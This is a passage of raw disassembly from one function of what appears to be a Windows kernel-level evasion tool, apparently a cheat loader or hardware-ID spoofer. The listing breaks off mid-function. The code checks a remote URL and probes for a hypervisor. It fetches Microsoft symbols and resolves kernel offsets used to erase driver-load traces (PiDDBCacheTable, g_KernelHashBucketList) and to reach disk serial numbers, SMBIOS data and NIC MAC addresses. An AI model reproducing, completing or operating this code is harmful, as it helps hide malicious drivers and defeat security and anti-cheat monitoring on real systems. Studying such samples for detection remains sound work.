Function at 0x1408f2250
Capabilities:
Check http status code
Create http request
Reference http user-agent string
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x2030
call fcn.140909ca0
sub rsp, rax
lea rbp, [rsp + 0x130]
and rbp, 0xffffffffffffff00
mov rax, qword [0x14095e040]
xor rax, rsp
mov qword [rbp + 0x1ef0], rax
mov qword [rbp + 0x40], rdx
mov r15, rcx
call fcn.1408f0f10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1250], xmm1
mov r8d, 0x20
lea rdx, str.https:__aridekvm.us__baile10.txt
lea rcx, [rbp + 0x1240]
call fcn.1408effc0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 1]
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64_
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1408f4a20
lea rdx, [rbp + 0x1240]
cmp qword [rbp + 0x1258], 0x10
cmovae rdx, qword [rbp + 0x1240]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x1408f4a17
mov dword [rbp + 0x1230], r14d
mov r12d, 4
mov dword [rbp + 0x1260], r12d
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x1260]
lea r8, [rbp + 0x1230]
mov edx, 0x20000013
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [rbp + 0x1230], 0xc8
jne 0x1408f4a03
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rbp + 0x1258]
cmp rdx, 0x10
jb 0x1408f23cc
inc rdx
mov rcx, qword [rbp + 0x1240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f23c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f23c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
movdqa xmm0, xmmword [0x1409583a0]
movdqu xmmword [rbp + 0x1250], xmm0
mov byte [rbp + 0x1240], r14b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1408f0820
movsxd rdi, dword [rax + 0x3c]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1408f0820
add rdi, rax
mov qword [rbp + 0x48], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov eax, 0x48797072
mov ecx, 0x4368636b
cpuid
mov dword [rbp + 0x10], eax
mov dword [rbp + 0x14], ebx
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], edx
cmp eax, 0x59617373
je 0x1408f4125
mov r9, r15
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 1]
call fcn.140905d08
cmp eax, 0x496d4f4e
je 0x1408f4125
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc40], xmm0
mov qword [rbp + 0xc50], rax
movups xmmword [rbp + 0xc5c], xmm0
xor edx, edx
mov r8d, 0x10c
lea rcx, [rbp + 0xdd4]
call fcn.140909b5a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xee8], xmm0
mov qword [rbp + 0xef8], rax
lea rax, [rbp + 0x2f0]
mov qword [rbp], rax
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], r14
mov qword [rbp + 0x308], r14
mov r8d, 0x2c
lea rdx, str.https:__msdl.microsoft.com_download_symbols_
lea rcx, [rbp + 0x2f0]
call fcn.1408effc0
nop
lea rax, [rbp + 0x310]
mov qword [rbp + 0x1350], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], r14
mov qword [rbp + 0x328], r14
xor r8d, r8d
lea rdx, [0x140952abf]
lea rcx, [rbp + 0x310]
call fcn.1408effc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r14
mov qword [rbp + 0x348], r14
mov r8d, 0x1a
lea rdx, str.C:WindowsSystem32ci.dll
lea rcx, [rbp + 0x330]
call fcn.1408effc0
nop
lea r9, [rbp + 0x2f0]
lea r8, [rbp + 0x310]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x3f0]
call fcn.140906c30
mov rdx, qword [rbp + 0x408]
cmp rdx, 0x10
jb 0x1408f259e
inc rdx
mov rcx, qword [rbp + 0x3f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f2599
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f2599
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
movdqa xmm0, xmmword [0x1409583a0]
movdqu xmmword [rbp + 0x400], xmm0
mov byte [rbp + 0x3f0], 0
lea rax, [rbp + 0x350]
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r14
mov qword [rbp + 0x368], r14
mov r8d, 0x2c
lea rdx, str.https:__msdl.microsoft.com_download_symbols_
lea rcx, [rbp + 0x350]
call fcn.1408effc0
nop
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x1350], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1e8], r14
xor r8d, r8d
lea rdx, [0x140952abf]
lea rcx, [rbp + 0x1d0]
call fcn.1408effc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x208], r14
mov r8d, 0x1d
lea rdx, str.C:WindowsSystem32_ntdll.dll
lea rcx, [rbp + 0x1f0]
call fcn.1408effc0
nop
lea r9, [rbp + 0x350]
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x370]
call fcn.140906c30
mov rdx, qword [rbp + 0x388]
cmp rdx, 0x10
jb 0x1408f26c6
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f26c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f26c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
movdqa xmm0, xmmword [0x1409583a0]
movdqu xmmword [rbp + 0x380], xmm0
mov byte [rbp + 0x370], 0
lea rax, [rbp + 0x210]
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], r14
mov r8d, 0x2c
lea rdx, str.https:__msdl.microsoft.com_download_symbols_
lea rcx, [rbp + 0x210]
call fcn.1408effc0
nop
lea rax, [rbp + 0x230]
mov qword [rbp + 0x1350], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r14
mov qword [rbp + 0x248], r14
xor r8d, r8d
lea rdx, [0x140952abf]
lea rcx, [rbp + 0x230]
call fcn.1408effc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r14
mov qword [rbp + 0x268], r14
mov r8d, 0x20
lea rdx, str.C:WindowsSystem32_ntoskrnl.exe
lea rcx, [rbp + 0x250]
call fcn.1408effc0
nop
lea r9, [rbp + 0x210]
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x390]
call fcn.140906c30
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0x10
jb 0x1408f27ee
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f27e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f27e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
movdqa xmm0, xmmword [0x1409583a0]
movdqu xmmword [rbp + 0x3a0], xmm0
mov byte [rbp + 0x390], 0
lea rax, [rbp + 0x270]
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r14
mov qword [rbp + 0x288], r14
mov r8d, 0x2c
lea rdx, str.https:__msdl.microsoft.com_download_symbols_
lea rcx, [rbp + 0x270]
call fcn.1408effc0
nop
lea rax, [rbp + 0x290]
mov qword [rbp + 0x1350], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], r14
mov qword [rbp + 0x2a8], r14
xor r8d, r8d
lea rdx, [0x140952abf]
lea rcx, [rbp + 0x290]
call fcn.1408effc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x2c8], r14
mov r8d, 0x28
lea rdx, str.C:WindowsSystem32drivers_storport.sys
lea rcx, [rbp + 0x2b0]
call fcn.1408effc0
nop
lea r9, [rbp + 0x270]
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x3b0]
call fcn.140906c30
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0x10
jb 0x1408f2916
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f2911
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f2911
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
movdqa xmm0, xmmword [0x1409583a0]
movdqu xmmword [rbp + 0x3c0], xmm0
mov byte [rbp + 0x3b0], 0
lea rax, [rbp + 0x2d0]
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], r14
mov qword [rbp + 0x2e8], r14
mov r8d, 0x2c
lea rdx, str.https:__msdl.microsoft.com_download_symbols_
lea rcx, [rbp + 0x2d0]
call fcn.1408effc0
nop
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x1350], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], r14
xor r8d, r8d
lea rdx, [0x140952abf]
lea rcx, [rbp + 0x1b0]
call fcn.1408effc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1420], xmm0
mov qword [rbp + 0x1430], r14
mov qword [rbp + 0x1438], r14
mov r8d, 0x24
lea rdx, str.C:WindowsSystem32drivers_ndis.sys
lea rcx, [rbp + 0x1420]
call fcn.1408effc0
nop
lea r9, [rbp + 0x2d0]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x1420]
lea rcx, [rbp + 0x3d0]
call fcn.140906c30
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0x10
jb 0x1408f2a3e
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f2a39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f2a39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
movdqa xmm0, xmmword [0x1409583a0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3d0], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1288], xmm0
mov qword [rbp + 0x1298], rax
lea rdx, str..ci.pdb
lea rcx, [rbp + 0x630]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1288]
call fcn.140906060
nop
lea rdx, str.g_KernelHashBucketList
lea rcx, [rbp + 0x650]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1288]
call fcn.140906960
mov rbx, rax
lea rdx, str.g_HashCacheLock
lea rcx, [rbp + 0x670]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1288]
call fcn.140906960
cmp rbx, 0xffffffffffffffff
jne 0x1408f2af1
lea rcx, str.____ci_offsets_invalid__n
call fcn.1408ee4a0
nop
lea rcx, [rbp + 0x1288]
jmp 0x1408f3ed2
mov qword [rbp + 0xcf4], rbx
mov qword [rbp + 0xcfc], rax
lea rcx, [rbp + 0x1288]
call fcn.1409066e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x12f0], xmm0
mov qword [rbp + 0x1300], rax
lea rdx, str.._ntdll.pdb
lea rcx, [rbp + 0x690]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x12f0]
call fcn.140906060
nop
lea rax, [rbp + 0x6b0]
mov qword [rbp], rax
lea rdx, str.Win32ClientInfo
lea rcx, [rbp + 0x6b0]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._TEB
lea rcx, [rbp + 0x6d0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x12f0]
call fcn.140906730
cmp rax, 0xffffffffffffffff
jne 0x1408f2ba7
lea rcx, str.____ntdll_offsets_invalid__n
call fcn.1408ee4a0
nop
lea rcx, [rbp + 0x12f0]
jmp 0x1408f3ed2
mov qword [rbp + 0xce4], rax
mov qword [rbp + 0xcec], 8
lea rcx, [rbp + 0x12f0]
call fcn.1409066e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1200], xmm0
mov qword [rbp + 0x1210], rax
lea rdx, str.._ntoskrnl.pdb
lea rcx, [rbp + 0x6f0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906060
nop
lea rdx, str.WmipSMBiosTableLength
lea rcx, [rbp + 0x710]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x48], rax
lea rdx, str.PsEnumProcesses
lea rcx, [rbp + 0x730]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xc0], rax
lea rdx, str.PspInsertProcess
lea rcx, [rbp + 0x750]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xc8], rax
lea rdx, str.PspTerminateProcess
lea rcx, [rbp + 0x770]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xd0], rax
lea rdx, str.MmQueryVirtualMemory
lea rcx, [rbp + 0x790]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xd8], rax
lea rdx, str.NtResumeThread
lea rcx, [rbp + 0x4d0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xe0], rax
lea rdx, str.BgpFwQueryBootGraphicsInformation
lea rcx, [rbp + 0x7d0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xe8], rax
lea rdx, str.PsEnumProcessThreads
lea rcx, [rbp + 0x7f0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xf0], rax
lea rdx, str.KeResumeThread
lea rcx, [rbp + 0x810]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x1390], rax
lea rdx, str.PspCreateThread
lea rcx, [rbp + 0x830]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xb0], rax
lea rdx, str.PspSetQuotaLimits
lea rcx, [rbp + 0x850]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0xb8], rax
lea rdx, str.MmQueryWorkingSetInformation
lea rcx, [rbp + 0x870]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x1410], rax
lea rdx, str.MmAdjustWorkingSetSizeEx
lea rcx, [rbp + 0x890]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x1380], rax
lea rdx, str.MiAllocateVirtualMemoryPrepare
lea rcx, [rbp + 0x8b0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x13a0], rax
lea rdx, str.ExpBootEnvironmentInformation
lea rcx, [rbp + 0x8d0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov rbx, rax
lea rdx, str.PspRundownSingleProcess
lea rcx, [rbp + 0x8f0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov rdi, rax
lea rdx, str.PspGetContextThreadInternal
lea rcx, [rbp + 0x910]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov r14, rax
lea rdx, str.WmipSMBiosTablePhysicalAddress
lea rcx, [rbp + 0x930]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov r13, rax
lea rdx, str.WmipQueryAllData
lea rcx, [rbp + 0x950]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x13b0], rax
lea rdx, str.PiDDBLock
lea rcx, [rbp + 0x970]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x50], rax
lea rdx, str.PiDDBCacheTable
lea rcx, [rbp + 0x990]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x30], rax
lea rdx, str.PspInsertThread
lea rcx, [rbp + 0x9b0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x60], rax
lea rdx, str.ZwSetInformationProcess
lea rcx, [rbp + 0x9d0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x20], rax
lea rdx, str.PsQueryFullProcessImageName
lea rcx, [rbp + 0x9f0]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x1350], rax
lea rdx, str.KiNmiInterruptStart
lea rcx, [rbp + 0xa10]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp], rax
lea rdx, str.WmipSMBiosVersionInfo
lea rcx, [rbp + 0xa30]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.140906960
mov qword [rbp + 0x1370], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xc0], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xc8], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xd0], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xd8], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xe0], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xe8], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xf0], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0x1390], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xb0], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0xb8], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0x1410], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0x1380], 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0x13a0], 0xffffffffffffffff
je 0x1408f3ebe
cmp rbx, 0xffffffffffffffff
je 0x1408f3ebe
cmp rdi, 0xffffffffffffffff
je 0x1408f3ebe
cmp r14, 0xffffffffffffffff
je 0x1408f3ebe
cmp r13, 0xffffffffffffffff
je 0x1408f3ebe
mov rax, qword [rbp + 0x13b0]
cmp rax, 0xffffffffffffffff
je 0x1408f3ebe
mov rcx, qword [rbp + 0x50]
cmp rcx, 0xffffffffffffffff
je 0x1408f3ebe
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xffffffffffffffff
je 0x1408f3ebe
mov r8, qword [rbp + 0x60]
cmp r8, 0xffffffffffffffff
je 0x1408f3ebe
mov r9, qword [rbp + 0x20]
cmp r9, 0xffffffffffffffff
je 0x1408f3ebe
mov r10, qword [rbp + 0x1350]
cmp r10, 0xffffffffffffffff
je 0x1408f3ebe
mov r11, qword [rbp]
cmp r11, 0xffffffffffffffff
je 0x1408f3ebe
cmp qword [rbp + 0x1370], 0xffffffffffffffff
je 0x1408f3ebe
mov rsi, qword [rbp + 0x48]
mov qword [rbp + 0xcdc], rsi
mov rsi, qword [rbp + 0xc0]
mov qword [rbp + 0xd04], rsi
mov rsi, qword [rbp + 0xc8]
mov qword [rbp + 0xd1c], rsi
mov rsi, qword [rbp + 0xd0]
mov qword [rbp + 0xd2c], rsi
mov rsi, qword [rbp + 0xd8]
mov qword [rbp + 0xd34], rsi
mov rsi, qword [rbp + 0xe0]
mov qword [rbp + 0xd3c], rsi
mov rsi, qword [rbp + 0xe8]
mov qword [rbp + 0xd44], rsi
mov rsi, qword [rbp + 0xf0]
mov qword [rbp + 0xd0c], rsi
mov rsi, qword [rbp + 0xb0]
mov qword [rbp + 0xd54], rsi
mov rsi, qword [rbp + 0xb8]
mov qword [rbp + 0xd5c], rsi
mov rsi, qword [rbp + 0x1410]
mov qword [rbp + 0xd64], rsi
mov rsi, qword [rbp + 0x1380]
mov qword [rbp + 0xd6c], rsi
mov qword [rbp + 0xda4], rbx
mov qword [rbp + 0xd7c], rdi
mov qword [rbp + 0xd84], r14
mov qword [rbp + 0xdac], r13
mov qword [rbp + 0xd8c], rax
mov qword [rbp + 0xdb4], rcx
mov qword [rbp + 0xdbc], rdx
mov qword [rbp + 0xd24], r8
mov qword [rbp + 0xd94], r9
mov qword [rbp + 0xd9c], r10
mov qword [rbp + 0xdc4], r11
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xd14], rax
lea rcx, [rbp + 0x1200]
call fcn.1409066e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1270], xmm0
mov qword [rbp + 0x1280], rax
lea rdx, str.._storport.pdb
lea rcx, [rbp + 0xa50]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.140906060
nop
lea rdx, str.RaidUnitRegisterInterfaces
lea rcx, [rbp + 0xa70]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.140906960
mov r13, rax
lea rax, [rbp + 0xa90]
mov qword [rbp], rax
lea rdx, str.Identity
lea rcx, [rbp + 0xa90]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._RAID_UNIT_EXTENSION
lea rcx, [rbp + 0xab0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.140906730
mov rdi, rax
lea rax, [rbp + 0xad0]
mov qword [rbp], rax
lea rdx, str.SerialNumber
lea rcx, [rbp + 0xad0]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._RAID_UNIT_EXTENSION
lea rcx, [rbp + 0xaf0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.140906730
mov r14, rax
lea rax, [rbp + 0xb10]
mov qword [rbp], rax
lea rdx, str.SerialNumber
lea rcx, [rbp + 0xb10]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._STOR_SCSI_IDENTITY
lea rcx, [rbp + 0xb30]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.140906730
cmp r13, 0xffffffffffffffff
mov rsi, qword [rbp + 0x40]
je 0x1408f3ea8
cmp rdi, 0xffffffffffffffff
je 0x1408f3ea8
cmp r14, 0xffffffffffffffff
je 0x1408f3ea8
mov qword [rbp + 0xc7c], r13
mov qword [rbp + 0xc6c], rdi
mov qword [rbp + 0xc74], r14
mov qword [rbp + 0xc84], rax
lea rcx, [rbp + 0x1270]
call fcn.1409066e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1218], xmm0
mov qword [rbp + 0x1228], rax
lea rdx, str.._ndis.pdb
lea rcx, [rbp + 0xb50]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906060
nop
lea rdx, str.ndisGlobalFilterList
lea rcx, [rbp + 0xb70]
call fcn.1408f52f0
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906960
mov qword [rbp], rax
lea rax, [rbp + 0xb90]
mov qword [rbp + 0x1350], rax
lea rdx, str.NextFilter
lea rcx, [rbp + 0xb90]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_FILTER_BLOCK
lea rcx, [rbp + 0xbb0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov r13, rax
lea rax, [rbp + 0xbd0]
mov qword [rbp + 0x1350], rax
lea rdx, str.Miniport
lea rcx, [rbp + 0xbd0]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_FILTER_BLOCK
lea rcx, [rbp + 0xbf0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x1350], rax
lea rax, [rbp + 0xc10]
mov qword [rbp + 0x20], rax
lea rdx, str.FilterInstanceName
lea rcx, [rbp + 0xc10]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_FILTER_BLOCK
lea rcx, [rbp + 0x410]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x430]
mov qword [rbp + 0x60], rax
lea rdx, str.IfBlock
lea rcx, [rbp + 0x430]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_FILTER_BLOCK
lea rcx, [rbp + 0x450]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x470]
mov qword [rbp + 0x30], rax
lea rdx, str.IfBlock
lea rcx, [rbp + 0x470]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_MINIPORT_BLOCK
lea rcx, [rbp + 0x490]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x13a0], rax
lea rax, [rbp + 0x4b0]
mov qword [rbp + 0x30], rax
lea rdx, str.InterfaceGuid
lea rcx, [rbp + 0x4b0]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_MINIPORT_BLOCK
lea rcx, [rbp + 0x4f0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x1390], rax
lea rax, [rbp + 0x510]
mov qword [rbp + 0x30], rax
lea rdx, str.LowestFilter
lea rcx, [rbp + 0x510]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_MINIPORT_BLOCK
lea rcx, [rbp + 0x530]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x550]
mov qword [rbp + 0x30], rax
lea rdx, str.HighestFilter
lea rcx, [rbp + 0x550]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_MINIPORT_BLOCK
lea rcx, [rbp + 0x570]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x13b0], rax
lea rax, [rbp + 0x590]
mov qword [rbp + 0x30], rax
lea rdx, str.PendingMacAddress
lea rcx, [rbp + 0x590]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_MINIPORT_BLOCK
lea rcx, [rbp + 0x5b0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0x1370], rax
